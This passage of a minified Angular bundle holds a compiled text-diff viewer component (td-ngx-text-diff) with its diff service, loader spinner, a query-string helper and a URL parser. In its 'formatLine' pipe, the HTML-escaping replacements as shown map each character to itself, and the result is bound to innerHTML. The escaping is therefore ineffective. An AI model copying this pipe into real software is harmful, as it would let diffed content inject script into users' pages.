"),a.xp6(1),a.Q6J("ngClass",a.WLB(9,H,"-"===(null==w.leftContent?null:w.leftContent.prefix),!(null!=w.leftContent&&w.leftContent.lineContent))),a.xp6(2),a.Oqu((null==w.leftContent?null:w.leftContent.prefix)||" "),a.xp6(1),a.Q6J("ngIf",!w.hasDiffs),a.xp6(1),a.Q6J("ngIf",w.hasDiffs)}}function Ce(pe,P){if(1&pe&&(a.TgZ(0,"div",18)(1,"table",19)(2,"tbody"),a.YNc(3,oe,8,12,"tr",20),a.qZA()()()),2&pe){const w=a.oxw(2);a.xp6(3),a.Q6J("ngForOf",w.filteredTableRows)("ngForTrackBy",w.trackTableRows)}}const k=function(pe,P){return{"insert-row":pe,"empty-row":P}};function K(pe,P){if(1&pe&&(a.TgZ(0,"td",24),a._UZ(1,"span",25),a.ALo(2,"formatLine"),a.qZA()),2&pe){const w=a.oxw().$implicit;a.Q6J("ngClass",a.WLB(4,k,"+"===(null==w.rightContent?null:w.rightContent.prefix),!(null!=w.rightContent&&w.rightContent.lineContent))),a.xp6(1),a.Q6J("innerHTML",a.lcZ(2,2,null==w.rightContent?null:w.rightContent.lineContent),a.oJD)}}function se(pe,P){if(1&pe&&(a._UZ(0,"span",27),a.ALo(1,"formatLine")),2&pe){const w=P.$implicit;a.Q6J("innerHTML",a.lcZ(1,2,w.content),a.oJD)("ngClass",a.VKq(4,U,w.isDiff))}}function ee(pe,P){if(1&pe&&(a.TgZ(0,"td",24),a.YNc(1,se,2,6,"span",26),a.qZA()),2&pe){const w=a.oxw().$implicit,R=a.oxw(3);a.Q6J("ngClass",a.WLB(3,k,"+"===(null==w.rightContent?null:w.rightContent.prefix),!(null!=w.rightContent&&w.rightContent.lineContent))),a.xp6(1),a.Q6J("ngForOf",null==w.rightContent?null:w.rightContent.lineDiffs)("ngForTrackBy",R.trackDiffs)}}function q(pe,P){if(1&pe&&(a.TgZ(0,"tr")(1,"td",21),a._uU(2),a.qZA(),a.TgZ(3,"td",22)(4,"span"),a._uU(5),a.qZA()(),a.YNc(6,K,3,7,"td",23),a.YNc(7,ee,2,6,"td",23),a.qZA()),2&pe){const w=P.$implicit;a.xp6(1),a.Q6J("ngClass",a.WLB(6,k,"+"===(null==w.rightContent?null:w.rightContent.prefix),!(null!=w.rightContent&&w.rightContent.lineContent))),a.xp6(1),a.hij(" ",-1!==(null==w.rightContent?null:w.rightContent.lineNumber)?null==w.rightContent?null:w.rightContent.lineNumber:" "," "),a.xp6(1),a.Q6J("ngClass",a.WLB(9,k,"+"===(null==w.rightContent?null:w.rightContent.prefix),!(null!=w.rightContent&&w.rightContent.lineContent))),a.xp6(2),a.Oqu((null==w.rightContent?null:w.rightContent.prefix)||" "),a.xp6(1),a.Q6J("ngIf",!w.hasDiffs),a.xp6(1),a.Q6J("ngIf",w.hasDiffs)}}function we(pe,P){if(1&pe&&(a.TgZ(0,"div",28)(1,"table",19)(2,"tbody"),a.YNc(3,q,8,12,"tr",20),a.qZA()()()),2&pe){const w=a.oxw(2);a.xp6(3),a.Q6J("ngForOf",w.filteredTableRows)("ngForTrackBy",w.trackTableRows)}}const ce=function(pe,P){return{"delete-row":pe,"insert-row":P}};function je(pe,P){if(1&pe&&(a.TgZ(0,"td",24),a._UZ(1,"span",25),a.ALo(2,"formatLine"),a.qZA()),2&pe){const w=a.oxw().$implicit;a.Q6J("ngClass",a.WLB(4,ce,"-"===(null==w.leftContent?null:w.leftContent.prefix),"+"===(null==w.rightContent?null:w.rightContent.prefix))),a.xp6(1),a.Q6J("innerHTML",a.lcZ(2,2,null==w.leftContent?null:w.leftContent.lineContent),a.oJD)}}function Ze(pe,P){if(1&pe&&(a._UZ(0,"span",27),a.ALo(1,"formatLine")),2&pe){const w=P.$implicit;a.Q6J("innerHTML",a.lcZ(1,2,w.content),a.oJD)("ngClass",a.VKq(4,U,w.isDiff))}}function le(pe,P){if(1&pe&&(a.TgZ(0,"td",24),a.YNc(1,Ze,2,6,"span",26),a.qZA()),2&pe){const w=a.oxw().$implicit,R=a.oxw(3);a.Q6J("ngClass",a.WLB(3,ce,"-"===(null==w.leftContent?null:w.leftContent.prefix),"+"===(null==w.rightContent?null:w.rightContent.prefix))),a.xp6(1),a.Q6J("ngForOf",null==w.leftContent?null:w.leftContent.lineDiffs)("ngForTrackBy",R.trackDiffs)}}function Oe(pe,P){if(1&pe&&(a._UZ(0,"span",27),a.ALo(1,"formatLine")),2&pe){const w=P.$implicit;a.Q6J("innerHTML",a.lcZ(1,2,w.content),a.oJD)("ngClass",a.VKq(4,U,w.isDiff))}}function Qe(pe,P){if(1&pe&&(a.TgZ(0,"td",24),a.YNc(1,Oe,2,6,"span",26),a.qZA()),2&pe){const w=a.oxw().$implicit,R=a.oxw(3);a.Q6J("ngClass",a.WLB(3,ce,"-"===(null==w.leftContent?null:w.leftContent.prefix),"+"===(null==w.rightContent?null:w.rightContent.prefix))),a.xp6(1),a.Q6J("ngForOf",null==w.rightContent?null:w.rightContent.lineDiffs)("ngForTrackBy",R.trackDiffs)}}function Ye(pe,P){if(1&pe&&(a.TgZ(0,"tr")(1,"td",30),a._uU(2),a.qZA(),a.TgZ(3,"td",31),a._uU(4),a.qZA(),a.TgZ(5,"td",22)(6,"span"),a._uU(7),a.qZA()(),a.YNc(8,je,3,7,"td",23),a.YNc(9,le,2,6,"td",23),a.YNc(10,Qe,2,6,"td",23),a.qZA()),2&pe){const w=P.$implicit;a.xp6(2),a.Oqu(null==w.leftContent?null:w.leftContent.lineNumber),a.xp6(2),a.Oqu(null==w.rightContent?null:w.rightContent.lineNumber),a.xp6(1),a.Q6J("ngClass",a.WLB(7,ce,"-"===(null==w.leftContent?null:w.leftContent.prefix),"+"===(null==w.rightContent?null:w.rightContent.prefix))),a.xp6(2),a.Oqu((null==w.leftContent?null:w.leftContent.prefix)||(null==w.rightContent?null:w.rightContent.prefix)||" "),a.xp6(1),a.Q6J("ngIf",!w.hasDiffs),a.xp6(1),a.Q6J("ngIf",w.hasDiffs&&w.leftContent&&0!==(null==w.leftContent?null:w.leftContent.lineDiffs.length)),a.xp6(1),a.Q6J("ngIf",w.hasDiffs&&w.rightContent&&0!==(null==w.rightContent?null:w.rightContent.lineDiffs.length))}}function qe(pe,P){if(1&pe&&(a.TgZ(0,"div",29)(1,"table",19)(2,"tbody"),a.YNc(3,Ye,11,10,"tr",20),a.qZA()()()),2&pe){const w=a.oxw(2);a.xp6(3),a.Q6J("ngForOf",w.filteredTableRowsLineByLine)("ngForTrackBy",w.trackTableRows)}}function Ke(pe,P){if(1&pe&&(a.TgZ(0,"div",2),a.YNc(1,S,6,4,"div",3),a.YNc(2,z,3,1,"div",4),a.TgZ(3,"div",5),a.YNc(4,Ce,4,2,"div",6),a.YNc(5,we,4,2,"div",7),a.YNc(6,qe,4,2,"div",8),a.qZA()()),2&pe){const w=a.oxw();a.Q6J("ngClass",w.outerContainerClass)("ngStyle",w.outerContainerStyle),a.xp6(1),a.Q6J("ngIf",w.showToolbar),a.xp6(1),a.Q6J("ngIf",w.showToolbar&&w.showBtnToolbar),a.xp6(1),a.Q6J("ngClass",w.compareRowsClass)("ngStyle",w.compareRowsStyle),a.xp6(1),a.Q6J("ngIf","SideBySide"===w.format),a.xp6(1),a.Q6J("ngIf","SideBySide"===w.format),a.xp6(1),a.Q6J("ngIf","LineByLine"===w.format)}}function dt(pe,P){1&pe&&(a.TgZ(0,"div",1),a._UZ(1,"div")(2,"div")(3,"div")(4,"div")(5,"div")(6,"div")(7,"div")(8,"div"),a.qZA())}const ze=pe=>null==pe||!(Object.keys(pe)||pe).length||0===(Object.keys(pe)||pe).length;let De=(()=>{let pe=class{constructor(){this.initParser()}initParser(){this.diffParser=new s.diff_match_patch}getDiffsByLines(w,R){return new Promise((X,_e)=>{const ct=this.diffParser.diff_linesToChars_(w,R),Dt=ct.lineArray,Pt=this.diffParser.diff_main(ct.chars1,ct.chars2,!0);this.diffParser.diff_charsToLines_(Pt,Dt);const Ie=this.formatOutput(Pt);Ie||_e("Error"),X(Ie)})}formatOutput(w){let R=1,X=1;return w.reduce((_e,ct)=>{_e||(_e=[]);const Et=ct[1];let Dt=null,Pt=null,Ie=null,te=null,x=null;switch(ct[0]){case s.DIFF_EQUAL:Et.split("\\n").filter((m,b,B)=>b!==B.length-1||!ze(m)).forEach(m=>{Ie={lineNumber:R,lineContent:m,lineDiffs:[],prefix:""},te={lineNumber:X,lineContent:m,lineDiffs:[],prefix:""},x={leftContent:Ie,rightContent:te,belongTo:"both",hasDiffs:!1,numDiffs:0},_e.push(x),X+=1,R+=1});break;case s.DIFF_DELETE:Et.split("\\n").filter((m,b,B)=>b!==B.length-1||!ze(m)).forEach(m=>{Pt=_e.find(b=>!b.leftContent&&b.rightContent&&b.rightContent.lineNumber===R&&""!==b.rightContent.prefix),Ie={lineNumber:R,lineContent:m,lineDiffs:[{content:m,isDiff:!0}],prefix:"-"},Pt?(Pt.leftContent=Ie,Pt.leftContent.lineDiffs=this.getDiffParts(Pt.leftContent.lineContent,Pt.rightContent.lineContent),Pt.rightContent.lineDiffs=this.getDiffParts(Pt.rightContent.lineContent,Pt.leftContent.lineContent),Pt.belongTo="both",Pt.numDiffs=this.countDiffs(Pt)):_e.push({leftContent:Ie,rightContent:null,hasDiffs:!0,belongTo:"left",numDiffs:1}),R+=1});break;case s.DIFF_INSERT:Et.split("\\n").filter((m,b,B)=>b!==B.length-1||!ze(m)).forEach(m=>{Dt=_e.find(b=>b.leftContent&&!b.rightContent&&b.leftContent.lineNumber===X&&""!==b.leftContent.prefix),te={lineNumber:X,lineContent:m,lineDiffs:[{content:m,isDiff:!0}],prefix:"+"},Dt?(Dt.rightContent=te,Dt.leftContent.lineDiffs=this.getDiffParts(Dt.leftContent.lineContent,Dt.rightContent.lineContent),Dt.rightContent.lineDiffs=this.getDiffParts(Dt.rightContent.lineContent,Dt.leftContent.lineContent),Dt.belongTo="both",Dt.numDiffs=this.countDiffs(Dt)):_e.push({leftContent:null,rightContent:te,hasDiffs:!0,belongTo:"right",numDiffs:1}),X+=1})}return _e},[])}countDiffs(w){let R=0;return w.leftContent&&(R+=w.leftContent.lineDiffs.filter(X=>X.isDiff).length),w.leftContent&&(R+=w.rightContent.lineDiffs.filter(X=>X.isDiff).length),R}getDiffParts(w,R){const X=[];let _e=0,ct=0,Je="",Et="";for(;_e<w.length;)w[_e]===R[ct]&&ct<R.length?(""!==Et&&(X.push({content:Et,isDiff:!0}),Et=""),Je+=w[_e]):(""!==Je&&(X.push({content:Je,isDiff:!1}),Je=""),Et+=w[_e]),_e++,ct++;return""!==Et?X.push({content:Et,isDiff:!0}):""!==Je&&X.push({content:Je,isDiff:!1}),X}};return pe.\\u0275fac=function(w){return new(w||pe)},pe.\\u0275prov=(0,a.Yz7)({factory:function(){return new pe},token:pe,providedIn:"root"}),pe=(0,n.gn)([(0,n.w6)("design:paramtypes",[])],pe),pe})(),re=(()=>{let pe=class{constructor(w){this._el=w,this.element=w.nativeElement}};return pe.\\u0275fac=function(w){return new(w||pe)(a.Y36(a.SBq))},pe.\\u0275dir=a.lG2({type:pe,selectors:[["","tdContainer",""]],inputs:{id:"id"}}),(0,n.gn)([(0,a.IIB)(),(0,n.w6)("design:type",String)],pe.prototype,"id",void 0),pe=(0,n.gn)([(0,n.w6)("design:paramtypes",[a.SBq])],pe),pe})(),ve=(()=>{let pe=class{constructor(w,R,X){this.scrollService=w,this.diff=R,this.cd=X,this._hideMatchingLines=!1,this.format="SideBySide",this.left="",this.right="",this.loading=!1,this.showToolbar=!0,this.showBtnToolbar=!0,this.synchronizeScrolling=!0,this.compareResults=new a.vpe,this.subscriptions=[],this.tableRows=[],this.filteredTableRows=[],this.tableRowsLineByLine=[],this.filteredTableRowsLineByLine=[],this.diffsCount=0,this.formatOptions=[{id:"side-by-side",name:"side-by-side",label:"Side by Side",value:"SideBySide",icon:"la-code"},{id:"line-by-line",name:"line-by-line",label:"Line by Line",value:"LineByLine",icon:"la-file-text"}]}get hideMatchingLines(){return this._hideMatchingLines}set hideMatchingLines(w){this.hideMatchingLinesChanged(w)}ngOnInit(){this.loading=!0,this.diffContent&&this.subscriptions.push(this.diffContent.subscribe(w=>{this.loading=!0,this.left=w.leftContent,this.right=w.rightContent,this.renderDiffs().then(()=>{this.cd.detectChanges(),this.loading=!1}).catch(()=>this.loading=!1)})),this.renderDiffs().then(()=>this.loading=!1).catch(w=>this.loading=!1)}ngAfterViewInit(){this.initScrollListener()}ngOnDestroy(){this.subscriptions&&this.subscriptions.forEach(w=>w.unsubscribe())}hideMatchingLinesChanged(w){this._hideMatchingLines=w,this.hideMatchingLines?(this.filteredTableRows=this.tableRows.filter(R=>R.leftContent&&"-"===R.leftContent.prefix||R.rightContent&&"+"===R.rightContent.prefix),this.filteredTableRowsLineByLine=this.tableRowsLineByLine.filter(R=>R.leftContent&&"-"===R.leftContent.prefix||R.rightContent&&"+"===R.rightContent.prefix)):(this.filteredTableRows=this.tableRows,this.filteredTableRowsLineByLine=this.tableRowsLineByLine)}setDiffTableFormat(w){this.format=w}renderDiffs(){return(0,n.mG)(this,void 0,void 0,function*(){try{this.diffsCount=0,this.tableRows=yield this.diff.getDiffsByLines(this.left,this.right),this.tableRowsLineByLine=this.tableRows.reduce((w,R)=>(w||(w=[]),R.hasDiffs?(R.leftContent&&w.push({leftContent:R.leftContent,rightContent:null,belongTo:R.belongTo,hasDiffs:!0,numDiffs:R.numDiffs}),R.rightContent&&w.push({leftContent:null,rightContent:R.rightContent,belongTo:R.belongTo,hasDiffs:!0,numDiffs:R.numDiffs})):w.push(R),w),[]),this.diffsCount=this.tableRows.filter(w=>w.hasDiffs).length,this.filteredTableRows=this.tableRows,this.filteredTableRowsLineByLine=this.tableRowsLineByLine,this.emitCompareResultsEvent()}catch(w){throw w}})}emitCompareResultsEvent(){const w={hasDiff:this.diffsCount>0,diffsCount:this.diffsCount,rowsWithDiff:this.tableRows.filter(R=>R.hasDiffs).map(R=>({leftLineNumber:R.leftContent?R.leftContent.lineNumber:null,rightLineNumber:R.rightContent?R.rightContent.lineNumber:null,numDiffs:R.numDiffs}))};this.compareResults.next(w)}trackTableRows(w,R){return R&&R.leftContent?R.leftContent.lineContent:R&&R.rightContent?R.rightContent.lineContent:void 0}trackDiffs(w,R){return R&&R.content?R.content:void 0}initScrollListener(){this.subscriptions.push(this.scrollService.scrolled().subscribe(w=>{if(w&&this.synchronizeScrolling){const R=w.getElementRef().nativeElement.id,X=this.containers.find(_e=>_e.id!==R);X&&X.element.scrollTo({top:w.measureScrollOffset("top"),left:w.measureScrollOffset("left")})}}))}};return pe.\\u0275fac=function(w){return new(w||pe)(a.Y36(f.mF),a.Y36(De),a.Y36(a.sBO))},pe.\\u0275cmp=a.Xpm({type:pe,selectors:[["td-ngx-text-diff"]],viewQuery:function(w,R){if(1&w&&a.Gf(re,5),2&w){let X;a.iGM(X=a.CRH())&&(R.containers=X)}},inputs:{format:"format",left:"left",right:"right",loading:"loading",showToolbar:"showToolbar",showBtnToolbar:"showBtnToolbar",synchronizeScrolling:"synchronizeScrolling",hideMatchingLines:"hideMatchingLines",diffContent:"diffContent",outerContainerClass:"outerContainerClass",outerContainerStyle:"outerContainerStyle",toolbarClass:"toolbarClass",toolbarStyle:"toolbarStyle",compareRowsClass:"compareRowsClass",compareRowsStyle:"compareRowsStyle"},outputs:{compareResults:"compareResults"},decls:2,vars:2,consts:[[3,"active"],["class","td-wrapper",3,"ngClass","ngStyle",4,"ngIf"],[1,"td-wrapper",3,"ngClass","ngStyle"],[3,"ngClass","ngStyle",4,"ngIf"],["class","td-toolbar-select-format",4,"ngIf"],[1,"td-table-wrapper",3,"ngClass","ngStyle"],["class","td-table-container side-by-side","id","td-left-compare-container","tdContainer","","cdkScrollable","",4,"ngIf"],["class","td-table-container side-by-side","id","td-right-compare-container","tdContainer","","cdkScrollable","",4,"ngIf"],["class","td-table-container line-by-line",4,"ngIf"],[3,"ngClass","ngStyle"],[1,"td-toolbar-show-diff"],[1,"td-checkbox-container"],["type","checkbox","id","showDiffs",3,"ngModel","ngModelChange"],[1,"checkmark"],[1,"td-toolbar-select-format"],["data-toggle","buttons",1,"td-btn-group","td-btn-group-toggle"],[3,"ngClass","name","id","disabled","click",4,"ngFor","ngForOf"],[3,"ngClass","name","id","disabled","click"],["id","td-left-compare-container","tdContainer","","cdkScrollable","",1,"td-table-container","side-by-side"],[1,"td-table"],[4,"ngFor","ngForOf","ngForTrackBy"],["scope","row",1,"fit-column","line-number-col",3,"ngClass"],[1,"fit-column","prefix-col",3,"ngClass"],["class","content-col",3,"ngClass",4,"ngIf"],[1,"content-col",3,"ngClass"],[3,"innerHTML"],[3,"innerHTML","ngClass",4,"ngFor","ngForOf","ngForTrackBy"],[3,"innerHTML","ngClass"],["id","td-right-compare-container","tdContainer","","cdkScrollable","",1,"td-table-container","side-by-side"],[1,"td-table-container","line-by-line"],["scope","row",1,"fit-column","line-number-col-left"],["scope","row",1,"fit-column","line-number-col"]],template:function(w,R){1&w&&(a._UZ(0,"td-loader-spinner",0),a.YNc(1,Ke,7,9,"div",1)),2&w&&(a.Q6J("active",R.loading),a.xp6(1),a.Q6J("ngIf",!R.loading))},dependencies:function(){return[E.mk,E.sg,E.O5,E.PC,_.Wl,_.JJ,_.On,f.PQ,We,re,xt]},styles:[".td-wrapper[_ngcontent-%COMP%]{display:grid;width:100%;grid-row-gap:10px;grid-template-columns:repeat(2,[col] 50%);grid-template-rows:repeat(2,[row] auto);background-color:#fff;color:#444}.td-toolbar-show-diff[_ngcontent-%COMP%]{grid-column:1;grid-row:1}.td-toolbar-select-format[_ngcontent-%COMP%]{margin-left:auto;grid-column:2;grid-row:1}.td-table-container[_ngcontent-%COMP%]{grid-column:1/2;grid-row:2;width:100%;max-width:100%;overflow-x:auto}.td-table-wrapper[_ngcontent-%COMP%]{display:flex;width:200%}.td-table[_ngcontent-%COMP%]{border:1px solid #a9a9a9;max-height:50vh;width:100%;max-width:100%}.fit-column[_ngcontent-%COMP%]{width:1px;white-space:nowrap}.line-number-col[_ngcontent-%COMP%]{position:relative;position:-webkit-sticky;position:sticky;left:0;top:auto;border-right:1px solid #ddd;color:#999;text-align:right;background-color:#f7f7f7;padding-left:10px;padding-right:10px;font-size:87.5%}.line-number-col-left[_ngcontent-%COMP%]{color:#999;padding-left:10px;padding-right:10px;text-align:right;background-color:#f7f7f7;font-size:87.5%}.insert-row[_ngcontent-%COMP%], .insert-row[_ngcontent-%COMP%] > .line-number-col[_ngcontent-%COMP%]{background-color:#dfd;border-color:#b4e2b4}.delete-row[_ngcontent-%COMP%], .delete-row[_ngcontent-%COMP%] > .line-number-col[_ngcontent-%COMP%]{background-color:#fee8e9;border-color:#e9aeae}.empty-row[_ngcontent-%COMP%]{background-color:#f7f7f7;height:24px}.td-table[_ngcontent-%COMP%] td[_ngcontent-%COMP%]{border-top:0;padding-top:0;padding-bottom:0;white-space:nowrap;max-width:50%}pre[_ngcontent-%COMP%]{margin-bottom:0}td.content-col[_ngcontent-%COMP%]{padding:0;margin:0;line-height:24px}td.prefix-col[_ngcontent-%COMP%]{padding-left:10px;padding-right:10px;line-height:24px}.td-btn-group[_ngcontent-%COMP%]{border-radius:4px}.td-btn-group[_ngcontent-%COMP%] button[_ngcontent-%COMP%]{background-color:rgba(23,162,184,.7);border:1px solid #17a2b8;color:#fff;cursor:pointer;float:left}.td-btn-group[_ngcontent-%COMP%] button[_ngcontent-%COMP%]:not(:last-child){border-right:none}.td-btn-group[_ngcontent-%COMP%] button[_ngcontent-%COMP%]:first-child{-webkit-border-top-left-radius:4px;-webkit-border-bottom-left-radius:4px;-moz-border-radius-topleft:4px;-moz-border-radius-bottomleft:4px;border-top-left-radius:4px;border-bottom-left-radius:4px}.td-btn-group[_ngcontent-%COMP%] button[_ngcontent-%COMP%]:last-child{-webkit-border-top-right-radius:4px;-webkit-border-bottom-right-radius:4px;-moz-border-radius-topright:4px;-moz-border-radius-bottomright:4px;border-top-right-radius:4px;border-bottom-right-radius:4px}.td-btn-group[_ngcontent-%COMP%]:after{content:\'\';clear:both;display:table}.td-btn-group[_ngcontent-%COMP%] button.active[_ngcontent-%COMP%], .td-btn-group[_ngcontent-%COMP%] button[_ngcontent-%COMP%]:hover{background-color:#17a2b8}.td-checkbox-container[_ngcontent-%COMP%]{display:block;position:relative;padding-left:21px;margin-bottom:0;cursor:pointer;font-size:16px;line-height:28px;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.td-checkbox-container[_ngcontent-%COMP%] input[_ngcontent-%COMP%]{position:absolute;opacity:0;cursor:pointer;height:0;width:0}.checkmark[_ngcontent-%COMP%]{position:absolute;top:7px;left:0;height:16px;width:16px;background-color:#eee}.td-checkbox-container[_ngcontent-%COMP%]:hover input[_ngcontent-%COMP%] ~ .checkmark[_ngcontent-%COMP%]{background-color:#ccc}.td-checkbox-container[_ngcontent-%COMP%] input[_ngcontent-%COMP%]:checked ~ .checkmark[_ngcontent-%COMP%]{background-color:#17a2b8}.checkmark[_ngcontent-%COMP%]:after{content:\\"\\";position:absolute;display:none}.td-checkbox-container[_ngcontent-%COMP%] input[_ngcontent-%COMP%]:checked ~ .checkmark[_ngcontent-%COMP%]:after{display:block}.td-checkbox-container[_ngcontent-%COMP%] .checkmark[_ngcontent-%COMP%]:after{left:5px;top:3px;width:5px;height:10px;border:solid #fff;border-width:0 3px 3px 0;transform:rotate(45deg)}.insert-row[_ngcontent-%COMP%] > .highlight[_ngcontent-%COMP%]{background-color:#acf2bd!important}.delete-row[_ngcontent-%COMP%] > .highlight[_ngcontent-%COMP%]{background-color:#fdb8c0!important}"]}),(0,n.gn)([(0,a.vR)(re),(0,n.w6)("design:type",a.n_E)],pe.prototype,"containers",void 0),(0,n.gn)([(0,a.IIB)(),(0,n.w6)("design:type",String)],pe.prototype,"format",void 0),(0,n.gn)([(0,a.IIB)(),(0,n.w6)("design:type",Object)],pe.prototype,"left",void 0),(0,n.gn)([(0,a.IIB)(),(0,n.w6)("design:type",Object)],pe.prototype,"right",void 0),(0,n.gn)([(0,a.IIB)(),(0,n.w6)("design:type",c.y)],pe.prototype,"diffContent",void 0),(0,n.gn)([(0,a.IIB)(),(0,n.w6)("design:type",Object)],pe.prototype,"loading",void 0),(0,n.gn)([(0,a.IIB)(),(0,n.w6)("design:type",Object)],pe.prototype,"showToolbar",void 0),(0,n.gn)([(0,a.IIB)(),(0,n.w6)("design:type",Object)],pe.prototype,"showBtnToolbar",void 0),(0,n.gn)([(0,a.IIB)(),(0,n.w6)("design:type",Boolean),(0,n.w6)("design:paramtypes",[Boolean])],pe.prototype,"hideMatchingLines",null),(0,n.gn)([(0,a.IIB)(),(0,n.w6)("design:type",String)],pe.prototype,"outerContainerClass",void 0),(0,n.gn)([(0,a.IIB)(),(0,n.w6)("design:type",Object)],pe.prototype,"outerContainerStyle",void 0),(0,n.gn)([(0,a.IIB)(),(0,n.w6)("design:type",String)],pe.prototype,"toolbarClass",void 0),(0,n.gn)([(0,a.IIB)(),(0,n.w6)("design:type",Object)],pe.prototype,"toolbarStyle",void 0),(0,n.gn)([(0,a.IIB)(),(0,n.w6)("design:type",String)],pe.prototype,"compareRowsClass",void 0),(0,n.gn)([(0,a.IIB)(),(0,n.w6)("design:type",Object)],pe.prototype,"compareRowsStyle",void 0),(0,n.gn)([(0,a.IIB)(),(0,n.w6)("design:type",Object)],pe.prototype,"synchronizeScrolling",void 0),(0,n.gn)([(0,a.r_U)(),(0,n.w6)("design:type",Object)],pe.prototype,"compareResults",void 0),pe=(0,n.gn)([(0,n.w6)("design:paramtypes",[f.mF,De,a.sBO])],pe),pe})(),We=(()=>{let pe=class{constructor(){this.active=!1}ngOnInit(){}};return pe.\\u0275fac=function(w){return new(w||pe)},pe.\\u0275cmp=a.Xpm({type:pe,selectors:[["td-loader-spinner"]],inputs:{active:"active"},decls:1,vars:1,consts:[["class","td-loading-roller",4,"ngIf"],[1,"td-loading-roller"]],template:function(w,R){1&w&&a.YNc(0,dt,9,0,"div",0),2&w&&a.Q6J("ngIf",R.active)},dependencies:[E.O5],styles:[\'.td-loading-roller[_ngcontent-%COMP%]{display:inline-block;position:relative;width:64px;height:64px}.td-loading-roller[_ngcontent-%COMP%] div[_ngcontent-%COMP%]{-webkit-animation:1.2s cubic-bezier(.5,0,.5,1) infinite _ngcontent-%COMP%_lds-roller;animation:1.2s cubic-bezier(.5,0,.5,1) infinite _ngcontent-%COMP%_lds-roller;transform-origin:32px 32px}.td-loading-roller[_ngcontent-%COMP%] div[_ngcontent-%COMP%]:after{content:" ";display:block;position:absolute;width:6px;height:6px;border-radius:50%;background:#000;margin:-3px 0 0 -3px}.td-loading-roller[_ngcontent-%COMP%] div[_ngcontent-%COMP%]:nth-child(1){-webkit-animation-delay:-36ms;animation-delay:-36ms}.td-loading-roller[_ngcontent-%COMP%] div[_ngcontent-%COMP%]:nth-child(1):after{top:50px;left:50px}.td-loading-roller[_ngcontent-%COMP%] div[_ngcontent-%COMP%]:nth-child(2){-webkit-animation-delay:-72ms;animation-delay:-72ms}.td-loading-roller[_ngcontent-%COMP%] div[_ngcontent-%COMP%]:nth-child(2):after{top:54px;left:45px}.td-loading-roller[_ngcontent-%COMP%] div[_ngcontent-%COMP%]:nth-child(3){-webkit-animation-delay:-108ms;animation-delay:-108ms}.td-loading-roller[_ngcontent-%COMP%] div[_ngcontent-%COMP%]:nth-child(3):after{top:57px;left:39px}.td-loading-roller[_ngcontent-%COMP%] div[_ngcontent-%COMP%]:nth-child(4){-webkit-animation-delay:-144ms;animation-delay:-144ms}.td-loading-roller[_ngcontent-%COMP%] div[_ngcontent-%COMP%]:nth-child(4):after{top:58px;left:32px}.td-loading-roller[_ngcontent-%COMP%] div[_ngcontent-%COMP%]:nth-child(5){-webkit-animation-delay:-.18s;animation-delay:-.18s}.td-loading-roller[_ngcontent-%COMP%] div[_ngcontent-%COMP%]:nth-child(5):after{top:57px;left:25px}.td-loading-roller[_ngcontent-%COMP%] div[_ngcontent-%COMP%]:nth-child(6){-webkit-animation-delay:-216ms;animation-delay:-216ms}.td-loading-roller[_ngcontent-%COMP%] div[_ngcontent-%COMP%]:nth-child(6):after{top:54px;left:19px}.td-loading-roller[_ngcontent-%COMP%] div[_ngcontent-%COMP%]:nth-child(7){-webkit-animation-delay:-252ms;animation-delay:-252ms}.td-loading-roller[_ngcontent-%COMP%] div[_ngcontent-%COMP%]:nth-child(7):after{top:50px;left:14px}.td-loading-roller[_ngcontent-%COMP%] div[_ngcontent-%COMP%]:nth-child(8){-webkit-animation-delay:-288ms;animation-delay:-288ms}.td-loading-roller[_ngcontent-%COMP%] div[_ngcontent-%COMP%]:nth-child(8):after{top:45px;left:10px}@-webkit-keyframes _ngcontent-%COMP%_lds-roller{0%{transform:rotate(0)}100%{transform:rotate(360deg)}}@keyframes _ngcontent-%COMP%_lds-roller{0%{transform:rotate(0)}100%{transform:rotate(360deg)}}\']}),(0,n.gn)([(0,a.IIB)(),(0,n.w6)("design:type",Object)],pe.prototype,"active",void 0),pe=(0,n.gn)([(0,n.w6)("design:paramtypes",[])],pe),pe})(),xt=(()=>{let pe=class{transform(w,R){return w?w.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/ /g," "):" "}};return pe.\\u0275fac=function(w){return new(w||pe)},pe.\\u0275pipe=a.Yjl({name:"formatLine",type:pe,pure:!0}),pe})(),Be=(()=>{let pe=class{};return pe.\\u0275fac=function(w){return new(w||pe)},pe.\\u0275mod=a.oAB({type:pe}),pe.\\u0275inj=a.cJS({imports:[E.ez,_.u5,f.Cl]}),pe})()},3257:(At,ae)=>{ae.encode=function(d){var n="";for(var a in d)d.hasOwnProperty(a)&&(n.length&&(n+="&"),n+=encodeURIComponent(a)+"="+encodeURIComponent(d[a]));return n},ae.decode=function(d){for(var n={},a=d.split("&"),s=0,u=a.length;s<u;s++){var c=a[s].split("=");n[decodeURIComponent(c[0])]=decodeURIComponent(c[1])}return n}},1884:At=>{var ae=/^(?:(?![^:@]+:[^:@\\/]*@)(http|https|ws|wss):\\/\\/)?((?:(([^:@]*)(?::([^:@]*))?)?@)?((?:[a-f0-9]{0,4}:){2,7}[a-f0-9]{0,4}|[^:\\/?#]*)(?::(\\d*))?)(((\\/(?:[^?#](?![^?#\\/]*\\.[^?#\\/.]+(?:[?#]|$)))*\\/?)?([^?#\\/]*))(?:\\?([^#]*))?(?:#(.*))?)/,d=["source","protocol","authority","userInfo","user","password","host","port","relative","path","directory","file","query","anchor"];At.exports=function(u){var c=u,f=u.indexOf("["),E=u.indexOf("]");-1!=f&&-1!=E&&(u=u.substring(0,f)+u.substring(f,E).replace(/:/g,";")+u.substring(E,u.length));for(var _=ae.exec(u||""),S={},g=14;g--;)S[d[g]]=_[g]||"";return-1!=f&&-1!=E&&(S.source=c,S.host=S.host.substring(1,S.host.length-1).replace(/;/g,":"),S.authority=S.authority.replace("[","").replace("]","").replace(/;/g,":"),S.ipv6uri=!0),S.pathNames=function n(s,u){var f=u.replace(/\\/{2,9}/g,"/").split("/");return("/"==u.substr(0,1)||0===u.length)&&f.splice(0,1),"/"==u.substr(u.length-1,1)&&f.splice(f.length-1,1),f}(0,S.path),S.queryKey=function a(s,u){var c={};return u.replace(/(?:^|&)([^&=]*)=?([^&]*)/g,function(f,E,_){E&&(c[E]=_)}),c}(0,S.query),S}},2516:function(At){At.exports=function(){"use strict";var ae=function(){},d=Object.prototype.hasOwnProperty,n=Array.prototype.slice;function u(P,w,R){for(var X,_e,ct=0,Je=(R=n.call(arguments,2)).length;ct<Je;ct++)for(X in 